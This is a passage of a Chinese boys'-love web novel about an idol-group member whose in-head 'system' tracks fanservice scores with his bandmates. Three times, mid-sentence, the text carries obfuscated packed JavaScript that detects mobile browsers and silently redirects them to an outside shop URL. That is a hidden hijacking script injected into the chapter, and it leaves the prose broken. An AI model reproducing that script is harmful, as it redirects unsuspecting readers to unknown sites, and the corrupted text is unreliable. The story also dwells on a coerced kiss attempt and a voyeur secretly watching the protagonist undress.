这样的话就有两个人是一百了,只要他们保持住,鹤酌雪再去刷楼弛和谢辞慎的卖腐值,很快四个人就都是一百了。 这样他就不会刷到别人床上了! 想到这个目标,鹤酌雪有了干劲。 化妆师帮他贴好水钻,宣布妆造完成。 鹤酌雪从椅子上起身,发现颜谡坐在沙发上,脸上挂着半永久微笑。 眼睛却很空洞,好像还在走神。 鹤酌雪溜溜达达跑到他面前,伸出五指晃了晃,然后被握住了手腕,颜谡似笑非笑:“小雪这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051647|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要什么夸奖。” 啊,这次不喊他小公主了吗? 鹤酌雪撇了撇嘴角:“你根本不会夸人,不懂欣赏。” 颜谡:…… 他眉头跳了跳:“那您有何贵干?” 鹤酌雪抿唇,冲他眨眼睛故作乖巧:“继续学卖腐呀。” 颜谡主动教他卖腐的话,卖腐值一定会升的很快的。 颜谡有点被气笑了。 他有时候也不知道鹤酌雪是真不懂还是假不懂,明明轻松就能让人为他心动不已,却还会牵着人的衣角问单纯到发傻的问题。 是真的听不懂他的卖腐教学只是个玩笑,还是又在蓄意勾引? “好啊,我教你。”他松开鹤酌雪的手腕,转而下移揽住那截细腰。 公式服上身是丝质黑色打底,贴身还薄。这种设计如果刻意,甚至能看见凸起的两个小点。 长度更是只覆盖住了胸口,纤瘦腰身都暴露在空气中。鹤酌雪脸和大腿上都堆着些软肉,腰却细到几乎单掌可以握住,因为高强度运动,依稀可见马甲线。 现在正因突如其来的接触,敏感地颤抖。 鹤酌雪不喜欢被人摸腰,但是如果这是教学的一部分,他觉得可以忍。 因此只是略感不适地蹙了眉毛,两手抬在半空中,想要推拒但终究没有:“只是摸腰就算卖腐吗?” “当然不是。”颜谡手掌在他腰间意味不明地摩挲,掀起眼皮注视那张露出隐忍表情反而让人格外想亲吻的脸:“还有更过分的事,是进阶教学。” “比如……”他覆着后腰的手突然用力将人往自己怀里按,鹤酌雪果然失去平衡,惊呼一声跌坐进他怀中。 是双腿分开,跨坐在膝盖上的姿势,两手搭着肩,腰弯出极易折断的弧度。 “怎么那么突然。”鹤酌雪抵住颜谡的胸膛,小声嘟囔了一句。 好纯。 颜谡喉结上下滑动,用黏腻的目光寸寸描摹这张脸。 明明是这样羞耻而危险的姿势,颜谡可以有很多方式教导少年什么叫“进阶卖腐”。 他只需要微微分开膝盖,那双短裤包裹的长腿就会跟着一起被迫张开。 他如果不怀好意地颠两下,鹤酌雪可能会直接抱住他,带着泣音和羞恼求他不要动。 那如果是用另一只手摁着公主殿下现在还高昂着的,天鹅般的脖子呢? 逼他低头,打碎那羔羊一样纯白的表情,含吻吮吸那娇嫩鲜红,无需唇脂便足够夺目的双唇。 鹤酌雪会哭吗? 可能不会。 他说不定还以为这是卖腐教学的一环,就算让他乖乖张开口腔把舌头伸出来给“老师”吸,可能也会被同意。 毕竟鹤酌雪就是这样的笨蛋。 颜谡当然会选择自己最喜欢的教学方法,抬手捏了捏鹤酌雪的脸颊肉,在他将恼时转移目标,抚向那光洁雪白的后颈—— 却不是把天鹅折断,而是自己抬起下巴迎合上去。 公主应该高高在上,从不低头,更不会施舍他这种普通骑士一个炽热的吻。 但是骑士可以强吻公主。 只要骑士足够坏。 13.我喜欢童话 “你怎么化那么久——颜谡!” 门被砰地推开,接着是男人急躁的脚步声。下一秒,谢辞慎握住鹤酌雪的肩膀将他从颜谡膝上扯下,推向身后。 然后一拳揍向颜谡的脸,目眦欲裂:“混账!” 他脸色沉的可怕,堪称扭曲。这位以高岭之花著称的天才钢琴家,对外展示的形象永远矜贵淡漠,波澜不惊。 现在却罕见地将狠厉一面完全展示,拳头挥出带起凌厉的风让人毫不怀疑这一拳下去,颜谡今天就别想拍成公式照了。 颜谡却也不是傻愣着任揍的性格,他冷脸避开,扫腿从侧面绕过攻势,又被扼住喉咙,于是抬脚踹向谢辞慎。 鹤酌雪踉跄两步,将要摔倒刹那好像被人轻轻扶了一下,站稳脚跟时还有点懵,大眼睛茫然盯着沙发上扭打起来的两人。 “系统,他们怎么打起来了?”询问着,他悄悄贴近门边。 现在去劝架。那两人说不定扭头揍他。 还是先把门关上吧,希望他们心中有数别耽误今天拍摄。 系统看着他的小动作,一时无言。 幸亏谢辞慎来的及时,不然鹤酌雪今天莫名其妙丢了初吻他自己可能都意识不到。 虽然系统当时也做了准备,这种非宿主自愿的亲密行为,它有权力帮忙制止。 也就是一点电流,可能刚好能把颜谡电成爆炸头吧。 鹤酌雪帮忙关了门,贴在墙角给蒋寻发消息,一分钟后蒋寻匆匆赶来,将还缠斗在一起的两人分开,脸黑得像锅底:“你们两个又想在公司小群里出名吗?” “幸亏是在公司,如果是外出拍摄,ECHO还回个吊的归,今天你俩粉丝就能屠了热搜然后官宣解散!” 蒋寻动了真怒,刚刚还在会议室抱着策划案对公司领导侃侃而谈,保证这次ECHO回归不仅会再次诠释“顶流男团”概念,之前那些团内不和的消息也将不攻自破。 安排纪时珩和鹤酌雪上综艺,包括后面已经定好的全团去大热节目当飞行嘉宾,都是他一片苦心。 接到消息连句脏话都来不及说,扔下一会议室的高层就往化妆间跑。 纵使他来的迅速,这两人也拳拳到肉来回了一两轮。妆发全被扯乱,颜谡甚至偏头吐了口血沫。 谢辞慎弓着背一副还想攻击的模样,衣角却被轻轻扯了扯。 他愣神,回头看见是鹤酌雪。 也才有空闲打量这幅妆造的少年,异瞳使他的精致多了些非人感,面无表情抬眸盯着人时,谢辞慎恍惚想起当初第一次见到鹤酌雪的场景。 没有灵魂的人偶,是他对鹤酌雪的第一印象。 虽然是安静,赏心悦目的。 但是周身空气都死寂。 因此也让人生出探究的欲望,怎样的经历才会塑造出这样的气质。 陷入这种思考后,再强烈的情绪也会骤然消散。 谢辞慎张了张嘴,哑然片刻才询问:“他碰到你没?” “嗯?”鹤酌雪在想什么程度算碰到。 碰是肯定碰了,他都坐上人家的腿了。 但是谢辞慎好像指的又不是这种碰法。 【他的意思是,颜谡亲到你没有。】 系统为宿主的语言处理能力感到绝望。 鹤酌雪猛地睁大眼睛,震惊像习惯在人腿上蹭完就跑,这次却被突然拉住尾巴尖走不掉的猫。 亲亲亲……亲? 谢辞慎在说什么啊,颜谡怎么可能亲他! “当然没有!”鹤酌雪脸爆红,头摇得像拨浪鼓。 “那他贴你那么近干什么,你为什么坐在他身上?”谢辞慎冷声逼问。 蒋寻震撼地回头:“他俩打起来还和你有关系?” 鹤酌雪完全没想到自己会变成话题中心。 明明他那么贴心,怕他们打起来被人看见还帮忙关门。 为什么现在都在质问他? 鹤酌雪有点委屈,他只是想学卖腐,想快点端平这碗水然后就可以不用每天起床面对尴尬的队友。这难道是错误的吗? “我正在和颜谡学习……”“他让我夸他的美瞳,不小心踩到地上滑倒了,我贴近是因为发现他脸颊上的水钻要掉了,想帮他粘一下。” 颜谡坐回了沙发上,抱着臂拖长音开口:“你别问他了,看不出他快哭了吗?” 莫名其妙快哭了的鹤酌雪:……? 怎么说谎还带诬陷的? 他张了张口想说点什么,被系统冷淡的电子音打断:【顺着他的话说,不然蒋寻在场的情况下,你没办法解释自己为什么要学习卖腐。】 对哦,之前都是蒋寻背锅。 鹤酌雪改了口径:“对,就是这样。” 谢辞慎依旧怀疑,但是他确实在沙发前看见了一块不知道什么时候出现的丝质布料。 也只能回头警告,眸深如墨:“我不清楚你到底抱着什么心思,但是别把鹤酌雪扯进去。” 颜谡不置可否。 蒋寻举起手中策划案,恨不得在这两人头上一人来一下:“今天公式照肯定拍不了了,”颜谡左脸肿得能塞个小馒头,谢辞慎眼尾也青了一块。 天杀的这几个大爷动手能不能有点数,知道公司给你们的脸买了多少保险吗! “待会会议室集合,讨论回归企划。”现在只能在临时改计划了。 蒋寻给另外两人发消息,通知他们去会议室,又道:“你们俩去医务室,拿点冰敷一下。” 谢辞慎和颜谡不约而同颔首,颜谡甚至有点装可怜的意味,看着鹤酌雪:“你要不要陪我一起,我可是为了你挨了这顿揍诶。” 谢辞慎脸唰的一下就耷拉着了,似乎在后悔刚刚下手不够重。 竟然让这人还能说出话? 鹤酌雪还没开口,蒋寻就帮他无情拒绝了:“别,您二位一会再打起来小雪可拦不住,快去快回。” 于是鹤酌雪就先跟着蒋寻去了会议室。 蒋寻走到拐角时,突然开口:“小雪,我刚入团时是不是和你提过,可以和队友好好相处但是不要把他们当朋友。” 他叹了口气:“虽然我不知道为什么你和谢辞慎似乎很早就认识,我也管不着,但他们四个总之都是很麻烦的人,离远点没坏处。当然也不要因此觉得低他们一等。” 蒋寻抬手摸了摸鹤酌雪的脑袋,感叹道:“因为有我在。” “那个人把你交给我时说的是随便养养,可我看见你第一眼就打心里喜欢——漂亮啊,太漂亮了。” 他笑了笑:“我都搞不明白他为什么舍得把你这样的好苗子让给我,也没来得及问。只是你要相信,我是把你当自家孩子养的。” “要是被欺负的话,和我说。” 鹤酌雪头发被他撩起两根,显得呆又乖,他当然知道蒋寻是可以信任的。 除了那个人和他哥之外,唯三可以信任的人。 “你放心,没有人敢欺负我的。”他对蒋寻做出保证。 蒋寻反而更担心了。 天菩萨哟,鹤酌雪是他手把手带到现在的,什么性格他还不清楚吗? 被欺负了说不定都根本意识不到! “算了,你记得没事别掺和进他们几个的事就行。” “好哦。” 等他们到会议室,纪时珩和楼弛已经在坐好了。 纪时珩坐在桌尾,翘着二郎腿玩手机,看见鹤酌雪进来眼皮一抬,像嗅到肉骨头味的狼。 还在努力维持酷哥人设,开口幸灾乐祸的味道就溢出来了:“他们俩真打起来了,为什么?” 因为谢辞慎以为颜谡亲了我。 鹤酌雪在心里吐槽,到底不能真的说出来:“闹矛盾而已。” 楼弛冲他招手,作为队长他一向是坐在最靠近展示板的位置:“小雪,你要坐我对面吗?” “可以。”鹤酌雪在他面前落座,没看见纪时珩瞬间不悦的表情——顾着吃瓜让姓楼这个贱人先得逞了。 山不就他他去就山,纪时珩刚起身想坐到鹤酌雪身旁那个位置,会议室的门就又被推开,谢辞慎颜谡人手一冰袋,脸色都比冰还冷——然后抢占了鹤酌雪那边剩下的两个位置。 ……呵。 “都到齐了,大家可以畅所欲言。”蒋寻双手撑着会议桌: “你们出道曲主题是国际象棋,这是你们自己提出来的,也是最想演绎的主题,成绩斐然。所以这次主题,公司层面还是希望能由你们自己决定,确定不了的话再考虑公司已经选好的几首歌。” 提起出道曲,五人都露出若有所思的表情。 因为实在是有些久远的记忆了,也是因为这首出道曲,导致鹤酌雪“空降皇族”的身份一度被焊死。 无他,在团内其他四人妆造全是黑色系时,鹤酌雪一身纯白,扮演“白王”。 就算他业务能力完全够格,完美演绎,实际上担得起这首歌的“主角”身份,依旧被骂上了热搜。 一时间全网都在讨论,说他炒作,抢队友功劳,甚至造谣他背后有金主力捧的,众说纷纭。 造谣金主的倒是很快被压的没有风声,毕竟鹤酌雪还没成年。但是其他说法却愈演愈烈。 甚至有全网黑的趋势。 直到ECHO放出出道曲的整个创作过程录像。 ——主题是五个人连续头脑风暴多天才拍板的,刚开始是更为平均的两黑两白,加上执棋人。 是楼弛皱眉后突然说不够有张力,最后推翻原设定,决定的只保留一个白王。 白王选角则是根据故事情节敲定——同时,这首歌有一个极高的音域跨度,需要唱出那种被攻陷后强制献祭的惨烈再骤然抽离情感退到身为讲述者的局外人身份上的感觉。 在录像中,所有人都尝试了演绎这一段——而这个音,只有鹤酌雪能百分百唱出来。 他的声音天赋和对情绪的把控,都是堪称恐怖的程度,用天才都难以形容,不如说——他是这个故事本身。 后来也有人尝试过演唱这段,能唱,但是情绪始终缺少那种感觉,不够绝望和割裂。 质疑声没有了,人家凭本事唱出来,当上的“白王”,你想质疑就得先唱的比他好。 鹤酌雪反而因为这件事,提纯到了一大批事业粉和唯粉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他顿了几秒,抬眸坚定道:“我喜欢童话。” 鹤酌雪还戴着美瞳,异色瞳孔让他看上去不像这个世界的人,而是另一个空间穿越而来,脑子中装满天方夜谭的精灵。 提出的脑洞也很有意思。 谢辞慎之前就知道鹤酌雪喜欢看故事书,对他想到童话这个主题并不意外: “童话的曲调可以是优雅浪漫,也可以是童趣天真,甚至可以是绮丽诡谲,我觉得创造性很强,可以考虑。” 楼弛也赞同:“经典的童话题材无非就是高塔公主,王子救公主,反派巫师之类的,可以遵循这种规律,也可以反套路,都很有特点。” “我有点想不到童话能唱什么rap”纪时珩摊手,语调忽又一转,勾唇道:“但我喜欢有挑战性的事。” “我觉得不错。”颜谡道。 鹤酌雪眸光微闪,抿唇笑了,两只浅色眼睛都亮晶晶,毫不掩饰的开心和兴奋。 蒋寻完全没想到这次主题决定的那么快,挑眉哇塞:“确定了?不会只是为了哄小雪开心吧。” “哄他开心图什么?”一不给亲二不给抱的。 纪时珩都懒得理这种打趣。 结果鹤酌雪好像真信了,狐疑扫过几人:“你们真的觉得这个主题可以?” “不管行不行,都要先确定方向继续细想才知道。”楼弛安抚他:“我们没有哄你,我们是认真在考虑。” 系统一直在观察着鹤酌雪的心情图像。 思考问题时是一片奶白色的雾,尝试说出想法时雾散去,留下一只被关在玻璃箱里好奇盯着外界的小猫。 被肯定,小猫就喵喵两声翘着尾巴踱步。 被打趣,小猫一屁股坐倒开始给自己舔毛,显然闷闷不乐。 峰回路转,又被哄好了就开始扒拉箱子,耀武扬威得意洋洋。 ……有够起伏的。 系统有点想给自己杀杀毒了,鹤酌雪的心情图像莫名其妙越来越可爱是怎么回事?之前还是非生物,现在已经会冲它喵喵求抚摸了! “那就先往童话方向,结合高塔公主之类的元素,看看能不能再创新。”谢辞慎总结。 “行,我去告诉公司,你们这几天再给我一个结果。”蒋寻在本子上记录,片刻后抬头: “除了这个,我还给你们五个人接了档综艺,全程直播,但是你们不是以ECHO成员的身份参加的,而是个人名义。” “综艺名字叫,《和好吧,朋友!》。”蒋寻补充。 会议室一时寂静无言,最后由颜谡打破沉默:“我怎么不知道我们几个已经闹到要上调解综艺的地步了?” 蒋寻擦汗:“接这个综艺时,你们在别人眼里是够的。” 但是现在别说鹤酌雪和纪时珩闹了个大热cp出来,刚刚会议室里的融洽讨论……也根本没有一点散团应该有的氛围啊。 所以计划赶不上变化。 “但是为了符合节目调性,你们刚上节目就不能表现得关系太好。”毕竟休团时的腥风血雨大家都有目共睹。 “这个节目要录制很多天,后天出发。我们会住在山里,大家可以准备行李了。” 只是装不熟,没什么难度,几乎所有人都应声表示知道了。 鹤酌雪也应了一声。 然后后知后觉——全场直播,很多天,住外面。 那他如果突然刷新在队友床上,不是所有人就都知道了吗! 14.小兔子 完蛋了。 鹤酌雪根本不敢想象哪天他突然从某个队友被窝里钻出脑袋,到时候热搜会爆成什么样。 尤其他可能几天会从不同人床上醒来——这已经不是用贵圈真乱可以形容概括的了! 鹤酌雪颤颤巍巍举手:“蒋哥,一定得去吗?” 蒋寻愣住:“怎么?我记得你那段时间档期都是空的,我没给你安排别的工作。” 鹤酌雪两手握拳嗒在会议桌边,下巴落在手背,可怜兮兮地眨巴眼:“万一我有点私事呢。” “什么私事比工作重要?”蒋寻皱眉,但他舍不得训鹤酌雪:“算了,我看看能不能和节目组商量一下,你可以不去。”反正鹤酌雪和纪时珩刚爆cp,粉丝视角这俩人关系肯定不错,只要其他几人在节目里团魂一点,就能默认鹤酌雪也是团魂哥了。 然后他就看见鹤酌雪低头不敢看他似的,把脸埋进手背,试探底线:“如果我说,其他几人也有点私事呢?” 他不参加节目却隔着几千里出现在队友床上,只会更诡异吧…… 蒋寻:“?” 他忍无可忍:“什么私事你们要你们五个一起办?你背着我结婚其他四人给你当伴郎?” “哦,我忘了”他冷笑着补充:“伴郎还可以请假,他们四个给你当新郎差不多吧?” 鹤酌雪:不敢吱声QAQ。 “我当新郎就够了,其他三个可以当伴郎。”颜谡笑眯眯开口,谢辞慎反手把他脑袋摁在桌面上:“做梦。” “我开个玩笑而已,可以上节目。”鹤酌雪就知道不可能成功,只能破罐子破摔,尝试走另一条路,在心里问:“系统,现在我和他们的卖腐值是多少?” 【当前卖腐值: 楼弛:50 谢辞慎:45 颜谡:50 纪时珩:100】 【宿主是准备在上节目之前,把所有人都端水到100吧。】系统猜测。 鹤酌雪叹气:“对呀,我本来想着就算迟点推进也没问题的,最多是在别人床上多睡几次。现在看来不可以了。” 再不端水的话,全国人民都会以为他就是喜欢睡别人床的变态。 鹤酌雪不想当变态,他有点点偶像包袱,只想一直做粉丝心中的乖宝明珠。 按照这个排名不变的话,他明天早上会刷新在谢辞慎床上,虽然谢辞慎冷冰冰还老是喜欢捏他肩膀,但是鹤酌雪必须要抓住这个机会和他卖腐。 颜谡的卖腐值好像挺好提的,鹤酌雪只是让颜谡夸他好看,卖腐值就会自己上来。 那明天再想办法让颜谡夸他好看就行! 队长的话,鹤酌雪有点摸不清。 但是队长和他基础卖腐值就挺高的,只要再亲密一点点被别人看见,应该也比较好提吧。 这样看,似乎未来可期。 “系统,给我加油。”鹤酌雪急需鼓励。 系统很宠地在他脑袋里炸了两朵电子烟花,随口吟诵: 【宿主有计划 管你是哪个队友 随便卖腐你】 鹤酌雪:“你没押韵。” 系统:【彳亍,下次一定。】 计划很美好,现实很骨感。 至少鹤酌雪和系统都没考虑过这种情况。 第二天,鹤酌雪确实刷新在谢辞慎床上没错——但是谢辞慎不在床上。 “你们惩罚机制出bug了吗?”鹤酌雪昨天晚上列了一堆今天早上醒来的开场白,最好能先让谢辞慎内心产生涟漪,比如喊他两声哥哥,或者让谢辞慎夸他可爱之类的。 他甚至换了身确实可爱的毛茸茸睡衣,让自己的卖腐计划不那么突兀。 万万没想到,谢辞慎竟然不在床上。 鹤酌雪扯了扯睡衣帽子上的兔子耳朵,扫视了一圈房间:“他去哪了,系统你知道吗?” 系统否认:【宿主刷新到这个房间时谢辞慎就不在,所以我也不清楚。】 【理论上来说,宿主一定会刷新到任务对象的床上,至少也是任务对象所在房间的床上,所以我猜测……谢辞慎在这个房间里,但是我们看不见他。】 听见系统的推理,鹤酌雪背后一凉,往被窝里缩了缩捏着兔耳朵吐槽:“你别那么吓人可以吗?” 禁止讲鬼故事! 他赤足下床,看向房间中唯一还可能有人的空间——浴室,轻轻敲了俩下玻璃门:“谢辞慎,你在里面吗?” 没有任何回应。 系统坚持自己的推测:【他一定就在这个空间!】 鹤酌雪更愿意相信自己的眼睛:“那你倒是说他在哪呀。” 系统:【不如宿主你试探一下,说不定我们看不见他,但是他能看见我们。】 这听上去更恐怖了。 鹤酌雪要让喜欢讲鬼故事的系统彻底死心:“行。” 他又爬上谢辞慎的床,两腿屈坐,手指在睡衣拉链处犹豫了一下,最后还是选择拉开。 ——里面是和外面毛茸茸保暖睡衣风格截然相反的另一套睡衣。 也是系统昨天在他列计划时,硬要给他出的鬼主意。 【宿主买这个买这个,万一他不吃可爱那一套呢。】 【相信我,这套绝对震撼他一辈子,保证他卖腐值瞬间突破一百。】 “不要突破一百,刚好一百就行了!”鹤酌雪反驳,盯着系统商城界面那套以轻纱为材料,看上去层层叠叠好像布料很多,实际上该遮的地方都只堪堪遮住的“睡衣”,红晕从锁骨处一点点蔓延到耳后。 不想穿。 但是闭眼好像还能看见那金光闪闪的一百卖腐值,好耀眼,好诱人。 而且他真的没有很多时间了。 指尖最后还是摁下了付款按钮,扣除积分*5。 便宜倒是真的便宜。 好像布料越多要的积分越贵。 呵,系统商城也是个流氓。 买完穿上,鹤酌雪又后悔了,可是他列了好久计划已经困到没力气再把衣服脱掉。 所以睡前迷迷糊糊下定决心,他是不会真给谢辞慎看这件衣服的。 卖腐值不涨就再想别的办法。 但谢辞慎现在不在,他也只是做一个实验。 鹤酌雪闭眼拉下拉链,毛绒睡衣从他肩头攸地滑落,露出光滑线条优美的肩颈,透白薄腻,在幽暗光线下仿佛敷了层釉面,色调是冷的,却又随着主人的羞耻热度攀升,染上淡粉,像极堕入人间的雪仙。 美淑人之妖艳,因盼睐而倾城。 肩带往下是圈毛绒边,这大概是唯一能体现这件睡衣保暖属性的装饰了,因为整个后背都是大开口,只由一条细细的带子束着,反而衬得那截窄腰脆弱到不堪一折,腰窝盈盈,极适合用手掐住把玩。 腰往下倒是被妥帖地包裹住,看似体面,却坠着颗毛绒球作尾巴。 因为突如其来的寒意,这只被包装好的小兔子可怜地瑟缩一下,眼皮挣扎几次,才睁开。 屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061480|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内依旧安静,没有任何反应。 鹤酌雪觉得试图验证系统猜测的自己一定是个傻子,怎么可能有人在房间但是看不见! 他脸红到爆炸,连眼睛都漫上水雾。在别人床上穿着那样奇怪的衣服,还是有点突破鹤酌雪的底线了。 幸好房间确实没有别人。 鹤酌雪飞快拢起滑落的睡衣,都懒得骂系统,爬下床就准备溜回房间。 脚尖接触地面那一刹,脑中突然响起机械的播报声。 【谢辞慎卖腐值提升至50】 【谢辞慎卖腐值提升至70】 【谢辞慎卖腐值提升至90】 【谢辞慎卖腐值提升至99】 这几句通报在寂静房间骤然炸开,像一道惊雷,同时劈碎了刚刚鹤酌雪的那份侥幸。 ……谢辞慎竟然真的在这里。 鹤酌雪一屁股跌坐回床上,大脑里各种念头充斥打架,恐惧,后悔,不满等等。 为什么他看不见谢辞慎? 为什么要听系统的怂恿在谢辞慎床上干这种事? 为什么卖腐值只提升到99! 该死的他都已经做出那么大牺牲了,就乖乖提到100啊! 因为实在没有办法继续思考前面两种情绪,太羞耻了太不堪了,就像一道巨浪拍上岸,溅起的水花完全足够把兔子浇的湿漉漉晕乎乎,连回窝的路都找不到,只会生无可恋到想跌进海里一了百了。 所以最后一种情绪就反而成了庇护,只要将它无限放大,似乎就能盖过那样的不堪。 鹤酌雪哭了,啪嗒啪嗒掉着眼泪,紧紧咬着下唇几乎要啃破那层薄皮。眼睛却瞪得很大,强撑的意味明显却让人舍不得戳破。 毕竟他看上去真的很生气很难过。 “为什么不过100。”泪滴从脸颊滑过,滴落在床单上洇出深色水痕,很快扩散开。 更多的水痕出现,像一场局部降雨,落在床上,也落在不知何人心间。 系统绑定鹤酌雪后第一次看见他哭,眼泪好像把它的数据库也淹了,以至于它手忙脚乱短路到说不出逻辑自洽的安慰,出口也带乱码:【别哭Fj2p别哭,一定是系统bug,谢辞慎根本不在这里。卖腐值是我替你篡改的5*2S4g跟他没关系!】 【我马上就帮你把所有人都改成100,你别哭了ks9@咕噜咕噜】 下一秒,机械音再次响起:【谢辞慎卖腐值提升至100,奖励积分100已发放至您的账户。】 鹤酌雪幽幽道:“你真改了?还顺便把奖励也发了?” 系统:【……】 谢辞慎怎么不去死呢。 鹤酌雪抬手将睡衣帽子戴上,两只长长的兔耳朵垂着,掩住他通红的眼睛,然后沉默地拉开谢辞慎的房门,离开这个伤心地。 他还是想不明白谢辞慎到底在哪,是不是真的看见他在床上那一幕,也不愿再想。 就当是系统bug好了,如果谢辞慎哪天敢提起这件事……鹤酌雪就让系统把他电晕。 反正是他先不出现,鹤酌雪才敢脱衣服的。 都怪谢辞慎。 大概在他离开五分钟后,浴室的门被拉开。 男人一身深黑,安静地坐到鹤酌雪刚刚坐过的位置上,修长食指摩挲着床单上的湿痕。 良久,才哑声道:“我怎么不知道你有这个爱好。” “看来还是观察的不够细。” “自己主动脱的怎么还哭了,胆小鬼。” 15.录音 【你还难过吗?】系统小心翼翼开口。 鹤酌雪躲进房间就把自己塞进了被子里,床上多了个大鼓包。 闻言,鼓包里传来一声“咿呀”的吼声,然后砰砰几个拳头的印子从被面透出来。 系统:【可以骂我,别欺负被子了。】感觉宿主是那种会被被子反杀的人。 鹤酌雪从被子里探出红透一张脸,眼角绯色晕染,能看出哭过的痕迹。 但是眸底情绪已经没那么崩溃了,只有紧抿的唇和鼓着的脸颊昭示他还在闹别扭:“我骂你干什么,你又没做错。” 他低头小声嘟囔:“是我自己卖腐值太低才不得不出此下策的。” 鹤酌雪就是这种发完脾气后又会反思自己,乖乖把责任揽到自己身上的性格。 系统并不存在的心脏也软了一下:【宿主放心,如果你很介意这件事,我以后可以帮你处理。】 鹤酌雪睁大眼睛:“你准备怎么处理?” 系统冷酷:【乃一组特。】 鹤酌雪:…… 我们至今不知道系统下载了多少种语言包。 “我好像一直没问过,你以前有没有别的宿主啊。”鹤酌雪突然有点好奇。 大概是和系统相处久了,他也发现这个系统好像没有那么人机,有时嘴巴还挺毒的。 它和别的宿主也会这样插科打诨吗? 系统:【当然有,但是你和他们都不一样。】 “我比较聪明可爱活泼善良吗?”鹤酌雪臭美。 【不,你比他们都笨。】系统无情戳破,眼看着鹤酌雪又要肘击棉被,连忙补充:【但是你们任务不同,所以要求不同,他们本身就是筛选出来的聪明人。】 【我和他们只是普通的合作关系,对你……可能更关心一点点。】 鹤酌雪好奇:“他们是什么任务?” 系统:【你不如问,我在接下你这个任务前是个什么系统。】它突然轻蔑地笑了声,不屑且嘲讽:【我之前的全称是——人渣毁灭系统。】 【虐渣火化骨灰撒海一条龙服务哦。】 所以它说“乃一组特”其实不是开玩笑。 如果鹤酌雪真的很讨厌那几个任务对象,任务完成后系统不介意干回老本行帮他善后。 它有些骄傲地说出自己曾经的工作,甚至隐隐期待鹤酌雪问它更多。 毕竟它在那个部门一直是No.1的存在。 但鹤酌雪只是“哦。”了一声,就没有更多反应。 【你没有别的想问的了吗?】 鹤酌雪把自己埋回被子里,蛄蛹着把里面那套睡衣褪下,然后拉开衣柜换今天出门要穿的衣服:“其实是有好多想问的,但是不知道从哪开口,就先不问了。” 系统难得有分享欲,它和别的宿主可从来没有这种可以随便闲聊的时刻:【你先随便问一个吧。】 “那我问了?”鹤酌雪把卫衣套上头:“你的原来的工作和现在这个差别好大,为什么会接我这个任务?” 这个问题把系统问住了,因为它仔细思考后得出的答案竟然是——不知道。 它当时刚结束一个任务,本来应该享受一段假期。 在任务大厅闲逛时,却莫名被一个滚动的,情感区的任务吸引了目光。 系统能接取的任务按难度分为ABCD四个等级,鹤酌雪的任务是最简单的D级任务。 这个难度的任务一般刚出现就会被系统接取然后快速消灭。 鹤酌雪的任务却已经在系统大厅滞留了至少二十个世界日。 而且D级任务一般是白色的光标,这个任务却闪着浅淡而温柔的粉光。 在系统审美里,这是个很“漂亮”的任务。 漂亮到这就算不是个D级任务,而是危险的A级,也会有系统乐意尝试。 所以它滞留到现在没被接取就显得更奇怪了。 系统没顾同僚们的招呼,看见这个任务第一眼就飞了过去,没入粉光。 ——确定接取任务。 【我也不知道,可能因为这个任务有你吧。】系统插科打诨:【守护世界上最美好的小雪公主。】 “你不许和颜谡学!”鹤酌雪佯装愤怒,但悄悄勾起的嘴角暴露了他的真实心情。 “小雪,你醒了吗?”门被敲响,传来蒋寻的声音,很严肃的语气:“我可以进来吗?” 鹤酌雪打开卧室门:“蒋哥?”他看了眼时钟:“现在才七点。” 蒋寻通常最早九点才会敲他们几个的门,今天怎么那么早? 在鹤酌雪疑惑的目光中,蒋寻拧着眉毛冲他举起手机:“你是不是还没看热搜?” 鹤酌雪愣愣点头,也摸过手机点开微博。 #ECHO团内不和#赫然列在热搜第二位,后面还跟了个“爆“”字。 热一则是#楼弛鹤酌雪#。 鹤酌雪睫毛轻颤,与此同时机械的播报声在他脑中响起: 【警告,楼弛卖腐值下降至40】 【警告,楼弛卖腐值下降至30】 比起看见热搜时的错愕,听见播报时则是震惊和慌乱。 卖腐值原来还能降低吗! 到底为什么? 鹤酌雪颤着指尖,点开热搜详情: [笑嘻了,我们队长大哥哥背地里就这样阴阳人啊] [看见白王爆火牙都要咬碎了吧] [我还是觉得lc不像这种人,是不是有什么误会] [录音甩你脸上了还捂着耳朵向前跑是吧!我们lc就是这样与世无争一朵白莲花哦~] 鹤酌雪捕捉到关键词,迅速抬头焦急地问:“蒋哥,什么录音?” 蒋寻面上闪过一丝纠结,叹了口气尝试安抚:“肯定不是和网友说的那样,楼弛什么人品我们都清楚。至于录音……”他点开手机播放一个文件。 先是一段嘈杂的忙音,接着是一个经过处理,分不出性别的声音:“楼哥,你对那个鹤酌雪那么好干什么?那人纯哑巴,除了张脸还有什么看得过去的?” 楼弛温和的声音响起:“不是还有张脸吗?”他似乎轻笑的一声,意味不明:“缺点倒是很多,又独又笨,真难带啊。” “不对他好一点,背地里就要自己躲被窝里抹眼泪。” “麻烦。” 鹤酌雪愣住了。 确实,他加入ECHO后,第一个对他表达出善意的人就是楼弛。 那时他在会议室认出了谢辞慎,凭着本能的一点亲近,和他打招呼。 却受到了谢辞慎的冷脸相对,谢大 